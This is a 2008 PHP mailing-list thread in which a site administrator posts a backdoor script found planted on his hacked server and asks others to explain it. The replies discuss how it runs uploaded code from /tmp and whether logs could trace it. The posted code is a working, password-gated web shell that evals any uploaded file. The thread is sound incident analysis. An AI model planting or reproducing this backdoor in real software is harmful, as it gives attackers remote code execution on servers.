Re: Re: Hack question

Eric Butera wrote:

On Fri, Apr 18, 2008 at 12:22 PM, Al <news@ridersite.org> wrote:

I'm continuing to work on this. One thing that seems obvious. The code executes the script code, using eval(), directly from the /tmp dir. So the usual security tests we do prior to using move_uploaded_file() are useless. Al wrote:

I'm still fighting my hack problem on one of my servers. Can anyone help

me figure out what's the purpose of this code. The hack places this file in numerous dirs on the site, I assume using a php script because the owner is "nobody".

I can sort of figure what is doing; but, I can't figure out what the

hacker is using it for.

Incidentally, I've changed all passwords and restricted ftp to two people.

I see no sign that any code is written with by site owner, i.e, ftp. And, I've looked carefully for suspect php files.

<?php error_reporting(1);global $HTTP_SERVER_VARS; function say($t) {

echo "$t\n"; }; function testdata($t) { say(md5("testdata_$t")); }; echo "<pre>"; testdata('start'); if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo "</pre>"; ?>

<?php error_reporting(1); global $HTTP_SERVER_VARS; function say($t) { echo "$t\n"; } ; function testdata($t) { say(md5("testdata_$t")); } ; echo "<pre>"; testdata('start'); if (md5($_POST["p"]) == "aace99428c50dbe965acc93f3f275cd3") { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),

$HTTP_POST_FILES["f"]["size"]))

{

       eval($code);
   }     else

{

       testdata('f');

} ; } else { testdata('pass'); } ; testdata('end'); echo "</pre>"; ?>

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Maybe you can look at the file time on the script in /tmp and look at server logs around that same time to see if that is any hint of where it might have come from.

That won't work, the uploaded file is deleted after the script/process/request is completed. Standard PHP clean would get rid of it. -- Jim Lucas "Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them." Twelfth Night, Act II, Scene V by William Shakespeare